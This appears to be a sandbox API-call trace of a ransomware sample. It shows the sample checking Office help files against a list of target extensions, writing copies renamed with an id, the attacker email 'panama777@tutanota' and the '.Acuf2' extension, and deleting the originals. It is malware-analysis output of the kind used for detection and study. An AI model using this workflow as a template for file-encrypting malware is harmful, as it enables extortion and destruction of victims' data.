	[0262.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0262.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.948] lstrlenW (lpString=".doc") returned 4
	[0262.948] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.948] lstrlenW (lpString=".docx") returned 5
	[0262.948] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0262.948] lstrlenW (lpString=".pdf") returned 4
	[0262.948] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.948] lstrlenW (lpString=".xls") returned 4
	[0262.948] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.948] lstrlenW (lpString=".xlsx") returned 5
	[0262.948] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0262.948] lstrlenW (lpString=".ppt") returned 4
	[0262.948] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.948] lstrlenW (lpString=".zip") returned 4
	[0262.948] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.948] lstrlenW (lpString=".rar") returned 4
	[0262.948] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.948] lstrlenW (lpString=".bz2") returned 4
	[0262.948] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.948] lstrlenW (lpString=".7z") returned 3
	[0262.948] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.948] lstrlenW (lpString=".dbf") returned 4
	[0262.948] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.948] lstrlenW (lpString=".1cd") returned 4
	[0262.948] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.949] lstrlenW (lpString=".jpg") returned 4
	[0262.949] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.949] lstrlenW (lpString=".doc") returned 4
	[0262.949] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0262.949] lstrlenW (lpString=".docx") returned 5
	[0262.949] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0262.949] lstrlenW (lpString=".pdf") returned 4
	[0262.949] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0262.949] lstrlenW (lpString=".xls") returned 4
	[0262.949] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0262.949] lstrlenW (lpString=".xlsx") returned 5
	[0262.949] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0262.949] lstrlenW (lpString=".ppt") returned 4
	[0262.949] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0262.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.949] lstrlenW (lpString=".zip") returned 4
	[0262.949] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0262.949] lstrlenW (lpString=".rar") returned 4
	[0262.949] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0262.949] lstrlenW (lpString=".bz2") returned 4
	[0262.949] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0262.949] lstrlenW (lpString=".7z") returned 3
	[0262.949] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0262.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.949] lstrlenW (lpString=".dbf") returned 4
	[0262.949] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0262.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.949] lstrlenW (lpString=".1cd") returned 4
	[0262.949] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0262.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64
	[0262.949] lstrlenW (lpString=".jpg") returned 4
	[0262.950] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0262.950] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0262.950] lstrlenW (lpString="MSACCESS.DEV_COL.HXC") returned 20
	[0262.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.950] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=656) returned 1
	[0262.950] CloseHandle (hObject=0x35c) returned 1
	[0262.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 0x20
	[0262.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.950] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.950] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.951] GetLastError () returned 0x0
	[0262.951] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x290, lpOverlapped=0x0) returned 1
	[0262.952] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x2a0, lpOverlapped=0x0) returned 1
	[0262.953] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.953] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0262.953] SetEndOfFile (hFile=0x328) returned 1
	[0262.953] CloseHandle (hObject=0x328) returned 1
	[0262.953] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.953] SetEndOfFile (hFile=0x35c) returned 1
	[0262.955] CloseHandle (hObject=0x35c) returned 1
	[0262.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 1
	[0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.956] lstrlenW (lpString=".doc") returned 4
	[0262.956] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.956] lstrlenW (lpString=".docx") returned 5
	[0262.956] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.956] lstrlenW (lpString=".pdf") returned 4
	[0262.956] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.956] lstrlenW (lpString=".xls") returned 4
	[0262.956] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.956] lstrlenW (lpString=".xlsx") returned 5
	[0262.956] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.956] lstrlenW (lpString=".ppt") returned 4
	[0262.956] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.956] lstrlenW (lpString=".zip") returned 4
	[0262.956] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.956] lstrlenW (lpString=".rar") returned 4
	[0262.956] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.957] lstrlenW (lpString=".bz2") returned 4
	[0262.957] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.957] lstrlenW (lpString=".7z") returned 3
	[0262.957] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.957] lstrlenW (lpString=".dbf") returned 4
	[0262.957] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.957] lstrlenW (lpString=".1cd") returned 4
	[0262.957] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.957] lstrlenW (lpString=".jpg") returned 4
	[0262.957] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.957] lstrlenW (lpString=".doc") returned 4
	[0262.957] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.957] lstrlenW (lpString=".docx") returned 5
	[0262.957] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.957] lstrlenW (lpString=".pdf") returned 4
	[0262.957] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.957] lstrlenW (lpString=".xls") returned 4
	[0262.957] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.957] lstrlenW (lpString=".xlsx") returned 5
	[0262.957] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.957] lstrlenW (lpString=".ppt") returned 4
	[0262.957] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.958] lstrlenW (lpString=".zip") returned 4
	[0262.958] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.958] lstrlenW (lpString=".rar") returned 4
	[0262.958] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.958] lstrlenW (lpString=".bz2") returned 4
	[0262.958] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.958] lstrlenW (lpString=".7z") returned 3
	[0262.958] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.958] lstrlenW (lpString=".dbf") returned 4
	[0262.958] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.958] lstrlenW (lpString=".1cd") returned 4
	[0262.958] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68
	[0262.958] lstrlenW (lpString=".jpg") returned 4
	[0262.958] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.958] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0262.958] lstrlenW (lpString="MSACCESS.DEV_COL.HXT") returned 20
	[0262.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.959] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=212) returned 1
	[0262.959] CloseHandle (hObject=0x35c) returned 1
	[0262.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 0x20
	[0262.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.959] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.959] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.959] GetLastError () returned 0x0
	[0262.959] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xd4, lpOverlapped=0x0) returned 1
	[0262.960] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0262.961] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.961] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0262.961] SetEndOfFile (hFile=0x328) returned 1
	[0262.961] CloseHandle (hObject=0x328) returned 1
	[0262.961] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.961] SetEndOfFile (hFile=0x35c) returned 1
	[0262.964] CloseHandle (hObject=0x35c) returned 1
	[0262.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 1
	[0262.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.964] lstrlenW (lpString=".doc") returned 4
	[0262.964] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0262.964] lstrlenW (lpString=".docx") returned 5
	[0262.964] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0262.964] lstrlenW (lpString=".pdf") returned 4
	[0262.964] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0262.964] lstrlenW (lpString=".xls") returned 4
	[0262.964] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0262.964] lstrlenW (lpString=".xlsx") returned 5
	[0262.964] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0262.964] lstrlenW (lpString=".ppt") returned 4
	[0262.964] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0262.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.965] lstrlenW (lpString=".zip") returned 4
	[0262.965] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0262.965] lstrlenW (lpString=".rar") returned 4
	[0262.965] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0262.965] lstrlenW (lpString=".bz2") returned 4
	[0262.965] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0262.965] lstrlenW (lpString=".7z") returned 3
	[0262.965] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.965] lstrlenW (lpString=".dbf") returned 4
	[0262.965] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.965] lstrlenW (lpString=".1cd") returned 4
	[0262.965] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.965] lstrlenW (lpString=".jpg") returned 4
	[0262.965] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.965] lstrlenW (lpString=".doc") returned 4
	[0262.965] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0262.965] lstrlenW (lpString=".docx") returned 5
	[0262.965] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0262.965] lstrlenW (lpString=".pdf") returned 4
	[0262.965] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0262.965] lstrlenW (lpString=".xls") returned 4
	[0262.965] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0262.965] lstrlenW (lpString=".xlsx") returned 5
	[0262.965] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0262.965] lstrlenW (lpString=".ppt") returned 4
	[0262.965] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0262.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.966] lstrlenW (lpString=".zip") returned 4
	[0262.966] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0262.966] lstrlenW (lpString=".rar") returned 4
	[0262.966] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0262.966] lstrlenW (lpString=".bz2") returned 4
	[0262.966] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0262.966] lstrlenW (lpString=".7z") returned 3
	[0262.966] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0262.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.966] lstrlenW (lpString=".dbf") returned 4
	[0262.966] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0262.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.966] lstrlenW (lpString=".1cd") returned 4
	[0262.966] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0262.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68
	[0262.966] lstrlenW (lpString=".jpg") returned 4
	[0262.966] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0262.966] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0262.966] lstrlenW (lpString="MSACCESS.DEV_F_COL.HXK") returned 22
	[0262.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.967] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0262.967] CloseHandle (hObject=0x35c) returned 1
	[0262.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 0x20
	[0262.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.967] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.967] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.967] GetLastError () returned 0x0
	[0262.967] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0262.968] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0262.969] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.969] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x100, lpOverlapped=0x0) returned 1
	[0262.969] SetEndOfFile (hFile=0x328) returned 1
	[0262.969] CloseHandle (hObject=0x328) returned 1
